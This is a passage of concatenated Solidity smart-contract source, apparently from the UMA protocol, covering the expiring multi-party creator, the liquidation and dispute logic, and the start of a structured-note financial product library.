passed expiry. require( (state > Status.NotDisputed) || ((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed)) ); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/interfaces/ExpandedIERC20.sol"; import "../../common/interfaces/IERC20Standard.sol"; import "../../oracle/implementation/ContractCreator.sol"; import "../../common/implementation/Testable.sol"; import "../../common/implementation/AddressWhitelist.sol"; import "../../common/implementation/Lockable.sol"; import "../common/TokenFactory.sol"; import "../common/SyntheticToken.sol"; import "./ExpiringMultiPartyLib.sol"; /** * @title Expiring Multi Party Contract creator. * @notice Factory contract to create and register new instances of expiring multiparty contracts. * Responsible for constraining the parameters used to construct a new EMP. This creator contains a number of constraints * that are applied to newly created expiring multi party contract. These constraints can evolve over time and are * initially constrained to conservative values in this first iteration. Technically there is nothing in the * ExpiringMultiParty contract requiring these constraints. However, because `createExpiringMultiParty()` is intended * to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract), we can enforce deployment configurations here. */ contract ExpiringMultiPartyCreator is ContractCreator, Testable, Lockable { using FixedPoint for FixedPoint.Unsigned; /**************************************** * EMP CREATOR DATA STRUCTURES * ****************************************/ struct Params { uint256 expirationTimestamp; address collateralAddress; bytes32 priceFeedIdentifier; string syntheticName; string syntheticSymbol; FixedPoint.Unsigned collateralRequirement; FixedPoint.Unsigned disputeBondPercentage; FixedPoint.Unsigned sponsorDisputeRewardPercentage; FixedPoint.Unsigned disputerDisputeRewardPercentage; FixedPoint.Unsigned minSponsorTokens; uint256 withdrawalLiveness; uint256 liquidationLiveness; address financialProductLibraryAddress; } // Address of TokenFactory used to create a new synthetic token. address public tokenFactoryAddress; event CreatedExpiringMultiParty(address indexed expiringMultiPartyAddress, address indexed deployerAddress); /** * @notice Constructs the ExpiringMultiPartyCreator contract. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances. * @param _timerAddress Contract that stores the current time in a testing environment. */ constructor( address _finderAddress, address _tokenFactoryAddress, address _timerAddress ) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() { tokenFactoryAddress = _tokenFactoryAddress; } /** * @notice Creates an instance of expiring multi party and registers it within the registry. * @param params is a `ConstructorParams` object from ExpiringMultiParty. * @return address of the deployed ExpiringMultiParty contract. */ function createExpiringMultiParty(Params memory params) public nonReentrant() returns (address) { // Create a new synthetic token using the params. require(bytes(params.syntheticName).length != 0, "Missing synthetic name"); require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol"); TokenFactory tf = TokenFactory(tokenFactoryAddress); // If the collateral token does not have a `decimals()` method, then a default precision of 18 will be // applied to the newly created synthetic token. uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress); ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals); address derivative = ExpiringMultiPartyLib.deploy(_convertParams(params, tokenCurrency)); // Give permissions to new derivative contract and then hand over ownership. tokenCurrency.addMinter(derivative); tokenCurrency.addBurner(derivative); tokenCurrency.resetOwner(derivative); _registerContract(new address[](0), derivative); emit CreatedExpiringMultiParty(derivative, msg.sender); return derivative; } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ // Converts createExpiringMultiParty params to ExpiringMultiParty constructor params. function _convertParams(Params memory params, ExpandedIERC20 newTokenCurrency) private view returns (ExpiringMultiParty.ConstructorParams memory constructorParams) { // Known from creator deployment. constructorParams.finderAddress = finderAddress; constructorParams.timerAddress = timerAddress; // Enforce configuration constraints. require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0"); require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0"); require(params.expirationTimestamp > now, "Invalid expiration time"); _requireWhitelistedCollateral(params.collateralAddress); // We don't want EMP deployers to be able to intentionally or unintentionally set // liveness periods that could induce arithmetic overflow, but we also don't want // to be opinionated about what livenesses are "correct", so we will somewhat // arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness // periods even greater than a few days would make the EMP unusable for most users. require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large"); require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large"); // Input from function call. constructorParams.tokenAddress = address(newTokenCurrency); constructorParams.expirationTimestamp = params.expirationTimestamp; constructorParams.collateralAddress = params.collateralAddress; constructorParams.priceFeedIdentifier = params.priceFeedIdentifier; constructorParams.collateralRequirement = params.collateralRequirement; constructorParams.disputeBondPercentage = params.disputeBondPercentage; constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage; constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage; constructorParams.minSponsorTokens = params.minSponsorTokens; constructorParams.withdrawalLiveness = params.withdrawalLiveness; constructorParams.liquidationLiveness = params.liquidationLiveness; constructorParams.financialProductLibraryAddress = params.financialProductLibraryAddress; } // IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method, // which is possible since the method is only an OPTIONAL method in the ERC20 standard: // https://eips.ethereum.org/EIPS/eip-20#methods. function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) { try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) { return _decimals; } catch { return 18; } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./ExpiringMultiParty.sol"; /** * @title Provides convenient Expiring Multi Party contract utilities. * @dev Using this library to deploy EMP's allows calling contracts to avoid importing the full EMP bytecode. */ library ExpiringMultiPartyLib { /** * @notice Returns address of new EMP deployed with given `params` configuration. * @dev Caller will need to register new EMP with the Registry to begin requesting prices. Caller is also * responsible for enforcing constraints on `params`. * @param params is a `ConstructorParams` object from ExpiringMultiParty. * @return address of the deployed ExpiringMultiParty contract */ function deploy(ExpiringMultiParty.ConstructorParams memory params) public returns (address) { ExpiringMultiParty derivative = new ExpiringMultiParty(params); return address(derivative); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./Liquidatable.sol"; /** * @title Expiring Multi Party. * @notice Convenient wrapper for Liquidatable. */ contract ExpiringMultiParty is Liquidatable { /** * @notice Constructs the ExpiringMultiParty contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PricelessPositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public Liquidatable(params) // Note: since there is no logic here, there is no need to add a re-entrancy guard. { } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "./PricelessPositionManager.sol"; import "../../common/implementation/FixedPoint.sol"; /** * @title Liquidatable * @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position. * @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the * liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on * a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false * liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a * prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute. * NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on * transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing * money themselves). */ contract Liquidatable is PricelessPositionManager { using FixedPoint for FixedPoint.Unsigned; using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; /**************************************** * LIQUIDATION DATA STRUCTURES * ****************************************/ // Because of the check in withdrawable(), the order of these enum values should not change. enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed } struct LiquidationData { // Following variables set upon creation of liquidation: address sponsor; // Address of the liquidated position's sponsor address liquidator; // Address who created this liquidation Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle // Following variables determined by the position that is being liquidated: FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute // Amount of collateral being liquidated, which could be different from // lockedCollateral if there were pending withdrawals at the time of liquidation FixedPoint.Unsigned liquidatedCollateral; // Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation. FixedPoint.Unsigned rawUnitCollateral; // Following variable set upon initiation of a dispute: address disputer; // Person who is disputing a liquidation // Following variable set upon a resolution of a dispute: FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute FixedPoint.Unsigned finalFee; } // Define the contract's constructor parameters as a struct to enable more variables to be specified. // This is required to enable more params, over and above Solidity's limits. struct ConstructorParams { // Params for PricelessPositionManager only. uint256 expirationTimestamp; uint256 withdrawalLiveness; address collateralAddress; address tokenAddress; address finderAddress; address timerAddress; address financialProductLibraryAddress; bytes32 priceFeedIdentifier; FixedPoint.Unsigned minSponsorTokens; // Params specifically for Liquidatable. uint256 liquidationLiveness; FixedPoint.Unsigned collateralRequirement; FixedPoint.Unsigned disputeBondPercentage; FixedPoint.Unsigned sponsorDisputeRewardPercentage; FixedPoint.Unsigned disputerDisputeRewardPercentage; } // This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards. // `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ // from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the // fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error. struct RewardsData { FixedPoint.Unsigned payToSponsor; FixedPoint.Unsigned payToLiquidator; FixedPoint.Unsigned payToDisputer; FixedPoint.Unsigned paidToSponsor; FixedPoint.Unsigned paidToLiquidator; FixedPoint.Unsigned paidToDisputer; } // Liquidations are unique by ID per sponsor mapping(address => LiquidationData[]) public liquidations; // Total collateral in liquidation. FixedPoint.Unsigned public rawLiquidationCollateral; // Immutable contract parameters: // Amount of time for pending liquidation before expiry. // !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors. // Extremely low liveness values increase the chance that opportunistic invalid liquidations // expire without dispute, thereby decreasing the usability for sponsors and increasing the risk // for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic // token holder for the contract. uint256 public liquidationLiveness; // Required collateral:TRV ratio for a position to be considered sufficiently collateralized. FixedPoint.Unsigned public collateralRequirement; // Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer // Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%" FixedPoint.Unsigned public disputeBondPercentage; // Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, see above. FixedPoint.Unsigned public sponsorDisputeRewardPercentage; // Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, see above. FixedPoint.Unsigned public disputerDisputeRewardPercentage; /**************************************** * EVENTS * ****************************************/ event LiquidationCreated( address indexed sponsor, address indexed liquidator, uint256 indexed liquidationId, uint256 tokensOutstanding, uint256 lockedCollateral, uint256 liquidatedCollateral, uint256 liquidationTime ); event LiquidationDisputed( address indexed sponsor, address indexed liquidator, address indexed disputer, uint256 liquidationId, uint256 disputeBondAmount ); event DisputeSettled( address indexed caller, address indexed sponsor, address indexed liquidator, address disputer, uint256 liquidationId, bool disputeSucceeded ); event LiquidationWithdrawn( address indexed caller, uint256 paidToLiquidator, uint256 paidToDisputer, uint256 paidToSponsor, Status indexed liquidationStatus, uint256 settlementPrice ); /**************************************** * MODIFIERS * ****************************************/ modifier disputable(uint256 liquidationId, address sponsor) { _disputable(liquidationId, sponsor); _; } modifier withdrawable(uint256 liquidationId, address sponsor) { _withdrawable(liquidationId, sponsor); _; } /** * @notice Constructs the liquidatable contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PricelessPositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public PricelessPositionManager( params.expirationTimestamp, params.withdrawalLiveness, params.collateralAddress, params.tokenAddress, params.finderAddress, params.priceFeedIdentifier, params.minSponsorTokens, params.timerAddress, params.financialProductLibraryAddress ) nonReentrant() { require(params.collateralRequirement.isGreaterThan(1)); require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1)); // Set liquidatable specific variables. liquidationLiveness = params.liquidationLiveness; collateralRequirement = params.collateralRequirement; disputeBondPercentage = params.disputeBondPercentage; sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage; disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage; } /**************************************** * LIQUIDATION FUNCTIONS * ****************************************/ /** * @notice Liquidates the sponsor's position if the caller has enough * synthetic tokens to retire the position's outstanding tokens. Liquidations above * a minimum size also reset an ongoing "slow withdrawal"'s liveness. * @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be * approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param sponsor address of the sponsor to liquidate. * @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value. * @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value. * @param maxTokensToLiquidate max number of tokens to liquidate. * @param deadline abort the liquidation if the transaction is mined after this timestamp. * @return liquidationId ID of the newly created liquidation. * @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position. * @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully. */ function createLiquidation( address sponsor, FixedPoint.Unsigned calldata minCollateralPerToken, FixedPoint.Unsigned calldata maxCollateralPerToken, FixedPoint.Unsigned calldata maxTokensToLiquidate, uint256 deadline ) external fees() onlyPreExpiration() nonReentrant() returns ( uint256 liquidationId, FixedPoint.Unsigned memory tokensLiquidated, FixedPoint.Unsigned memory finalFeeBond ) { // Check that this transaction was mined pre-deadline. require(getCurrentTime() <= deadline, "Mined after deadline"); // Retrieve Position data for sponsor PositionData storage positionToLiquidate = _getPositionData(sponsor); tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding); require(tokensLiquidated.isGreaterThan(0)); // Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral, // then set this to 0, otherwise set it to (startCollateral - withdrawal request amount). FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral); FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0); if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) { startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount); } // Scoping to get rid of a stack too deep error. { FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding; // The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken]. // maxCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens. require( maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal), "CR is more than max liq. price" ); // minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens. require( minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal), "CR is less than min liq. price" ); } // Compute final fee at time of liquidation. finalFeeBond = _computeFinalFees(); // These will be populated within the scope below. FixedPoint.Unsigned memory lockedCollateral; FixedPoint.Unsigned memory liquidatedCollateral; // Scoping to get rid of a stack too deep error. { FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding); // The actual amount of collateral that gets moved to the liquidation. lockedCollateral = startCollateral.mul(ratio); // For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of // withdrawal requests. liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio); // Part of the withdrawal request is also removed. Ideally: // liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral. FixedPoint.Unsigned memory withdrawalAmountToRemove = positionToLiquidate.withdrawalRequestAmount.mul(ratio); _reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove); } // Add to the global liquidation collateral count. _addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond)); // Construct liquidation object. // Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new // LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push. liquidationId = liquidations[sponsor].length; liquidations[sponsor].push( LiquidationData({ sponsor: sponsor, liquidator: msg.sender, state: Status.NotDisputed, liquidationTime: getCurrentTime(), tokensOutstanding: tokensLiquidated, lockedCollateral: lockedCollateral, liquidatedCollateral: liquidatedCollateral, rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)), disputer: address(0), settlementPrice: FixedPoint.fromUnscaledUint(0), finalFee: finalFeeBond }) ); // If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than // some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be // "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold // is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal. // We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter // denominated in token currency units and we can avoid adding another parameter. FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens; if ( positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal. positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired. tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold". ) { positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness); } emit LiquidationCreated( sponsor, msg.sender, liquidationId, tokensLiquidated.rawValue, lockedCollateral.rawValue, liquidatedCollateral.rawValue, getCurrentTime() ); // Destroy tokens tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue); tokenCurrency.burn(tokensLiquidated.rawValue); // Pull final fee from liquidator. collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue); } /** * @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond * and pay a fixed final fee charged on each price request. * @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes. * This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute * bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation. * @param liquidationId of the disputed liquidation. * @param sponsor the address of the sponsor whose liquidation is being disputed. * @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond). */ function dispute(uint256 liquidationId, address sponsor) external disputable(liquidationId, sponsor) fees() nonReentrant() returns (FixedPoint.Unsigned memory totalPaid) { LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId); // Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees. FixedPoint.Unsigned memory disputeBondAmount = disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul( _getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral) ); _addCollateral(rawLiquidationCollateral, disputeBondAmount); // Request a price from DVM. Liquidation is pending dispute until DVM returns a price. disputedLiquidation.state = Status.Disputed; disputedLiquidation.disputer = msg.sender; // Enqueue a request with the DVM. _requestOraclePriceLiquidation(disputedLiquidation.liquidationTime); emit LiquidationDisputed( sponsor, disputedLiquidation.liquidator, msg.sender, liquidationId, disputeBondAmount.rawValue ); totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee); // Pay the final fee for requesting price from the DVM. _payFinalFees(msg.sender, disputedLiquidation.finalFee); // Transfer the dispute bond amount from the caller to this contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue); } /** * @notice After a dispute has settled or after a non-disputed liquidation has expired, * anyone can call this method to disperse payments to the sponsor, liquidator, and disdputer. * @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment. * If the dispute FAILED: only the liquidator can receive payment. * This method will revert if rewards have already been dispersed. * @param liquidationId uniquely identifies the sponsor's liquidation. * @param sponsor address of the sponsor associated with the liquidation. * @return data about rewards paid out. */ function withdrawLiquidation(uint256 liquidationId, address sponsor) public withdrawable(liquidationId, sponsor) fees() nonReentrant() returns (RewardsData memory) { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); // Settles the liquidation if necessary. This call will revert if the price has not resolved yet. _settle(liquidationId, sponsor); // Calculate rewards as a function of the TRV. // Note: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata. FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral); FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice; FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation); FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation); FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue); FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue); FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage); FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation); // There are three main outcome states: either the dispute succeeded, failed or was not updated. // Based on the state, different parties of a liquidation receive different amounts. // After assigning rewards based on the liquidation status, decrease the total collateral held in this contract // by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes // precision loss. RewardsData memory rewards; if (liquidation.state == Status.DisputeSucceeded) { // If the dispute is successful then all three users should receive rewards: // Pay DISPUTER: disputer reward + dispute bond + returned final fee rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee); // Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue)); // Pay LIQUIDATOR: TRV - dispute reward - sponsor reward // If TRV > Collateral, then subtract rewards from collateral // NOTE: `payToLiquidator` should never be below zero since we enforce that // (sponsorDisputePct+disputerDisputePct) <= 1 in the constructor when these params are set. rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor); rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer); collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue); // In the case of a failed dispute only the liquidator can withdraw. } else if (liquidation.state == Status.DisputeFailed) { // Pay LIQUIDATOR: collateral + dispute bond + returned final fee rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); // If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this // state as a dispute failed and the liquidator can withdraw. } else if (liquidation.state == Status.NotDisputed) { // Pay LIQUIDATOR: collateral + returned final fee rewards.payToLiquidator = collateral.add(finalFee); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); } emit LiquidationWithdrawn( msg.sender, rewards.paidToLiquidator.rawValue, rewards.paidToDisputer.rawValue, rewards.paidToSponsor.rawValue, liquidation.state, settlementPrice.rawValue ); // Free up space after collateral is withdrawn by removing the liquidation object from the array. delete liquidations[sponsor][liquidationId]; return rewards; } /** * @notice Gets all liquidation information for a given sponsor address. * @param sponsor address of the position sponsor. * @return liquidationData array of all liquidation information for the given sponsor address. */ function getLiquidations(address sponsor) external view nonReentrantView() returns (LiquidationData[] memory liquidationData) { return liquidations[sponsor]; } /** * @notice Accessor method to calculate a transformed collateral requirement using the finanical product library specified during contract deployment. If no library was provided then no modification to the collateral requirement is done. * @param price input price used as an input to transform the collateral requirement. * @return transformedCollateralRequirement collateral requirement with transformation applied to it. * @dev This method should never revert. */ function transformCollateralRequirement(FixedPoint.Unsigned memory price) public view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _transformCollateralRequirement(price); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // This settles a liquidation if it is in the Disputed state. If not, it will immediately return. // If the liquidation is in the Disputed state, but a price is not available, this will revert. function _settle(uint256 liquidationId, address sponsor) internal { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); // Settlement only happens when state == Disputed and will only happen once per liquidation. // If this liquidation is not ready to be settled, this method should return immediately. if (liquidation.state != Status.Disputed) { return; } // Get the returned price from the oracle. If this has not yet resolved will revert. liquidation.settlementPrice = _getOraclePriceLiquidation(liquidation.liquidationTime); // Find the value of the tokens in the underlying collateral. FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul(liquidation.settlementPrice); // The required collateral is the value of the tokens in underlying * required collateral ratio. The Transform // Collateral requirement method applies a from the financial Product library to change the scaled the collateral // requirement based on the settlement price. If no library was specified when deploying the emp then this makes no change. FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(_transformCollateralRequirement(liquidation.settlementPrice)); // If the position has more than the required collateral it is solvent and the dispute is valid(liquidation is invalid) // Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals. bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral); liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed; emit DisputeSettled( msg.sender, sponsor, liquidation.liquidator, liquidation.disputer, liquidationId, disputeSucceeded ); } function _pfc() internal view override returns (FixedPoint.Unsigned memory) { return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral)); } function _getLiquidationData(address sponsor, uint256 liquidationId) internal view returns (LiquidationData storage liquidation) { LiquidationData[] storage liquidationArray = liquidations[sponsor]; // Revert if the caller is attempting to access an invalid liquidation // (one that has never been created or one has never been initialized). require( liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized, "Invalid liquidation ID" ); return liquidationArray[liquidationId]; } function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) { return liquidation.liquidationTime.add(liquidationLiveness); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _disputable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); require( (getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed), "Liquidation not disputable" ); } function _withdrawable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); Status state = liquidation.state; // Must be disputed or the liquidation has passed expiry. require( (state > Status.NotDisputed) || ((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed)), "Liquidation not withdrawable" ); } function _transformCollateralRequirement(FixedPoint.Unsigned memory price) internal view returns (FixedPoint.Unsigned memory) { if (!address(financialProductLibrary).isContract()) return collateralRequirement; try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns ( FixedPoint.Unsigned memory transformedCollateralRequirement ) { return transformedCollateralRequirement; } catch { return collateralRequirement; } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./FinancialProductLibrary.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "../../../common/implementation/Lockable.sol"; /** * @title Structured Note Financial Product Library * @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The * contract holds say 1 WETH in collateral and pays out that 1 WETH if, at expiry, ETHUSD is below a set strike. If * ETHUSD is above that strike, the contract pays out a given dollar amount of ETH. * Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH * If ETHUSD < $400 at expiry, token is redeemed for 1 ETH. * If ETHUSD >= $400 at expiry, token is redeemed for $400 worth of ETH, as determined by the DVM. */ contract StructuredNoteFinancialProductLibrary is FinancialProductLibrary, Ownable, Lockable { mapping(address => FixedPoint.Unsigned) financialProductStrikes; /** * @notice Enables the deployer of the library to set the strike price for an associated financial product. * @param financialProduct address of the financial product. * @param strikePrice the strike price for the structured note to be applied to the financial product. * @dev Note: a) Only the owner (deployer) of this library can set new strike prices b) A strike price cannot be 0. * c) A strike price can only be set once to prevent the deployer from changing the strike after the fact. * d) financialProduct must exposes an expirationTimestamp method. */ function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice) public onlyOwner nonReentrant() { require(strikePrice.isGreaterThan(0), "Cant set 0 strike"); require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set"); require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract"); financialProductStrikes[financialProduct] = strikePrice; } /** * @notice Returns the strike price associated with a given financial product address. * @param financialProduct address of the financial product. * @return strikePrice for the associated financial product. */ function getStrikeForFinancialProduct(address financialProduct) public view nonReentrantView() returns (FixedPoint.Unsigned memory) { return financialProductStrikes[financialProduct]; } /** * @notice Returns a transformed price by applying the structured note payout structure. * @param oraclePrice price from the oracle to be transformed. * @param requestTime timestamp the oraclePrice was requested at. * @return transformedPrice the input oracle price with the price transformation logic applied to it. */ function 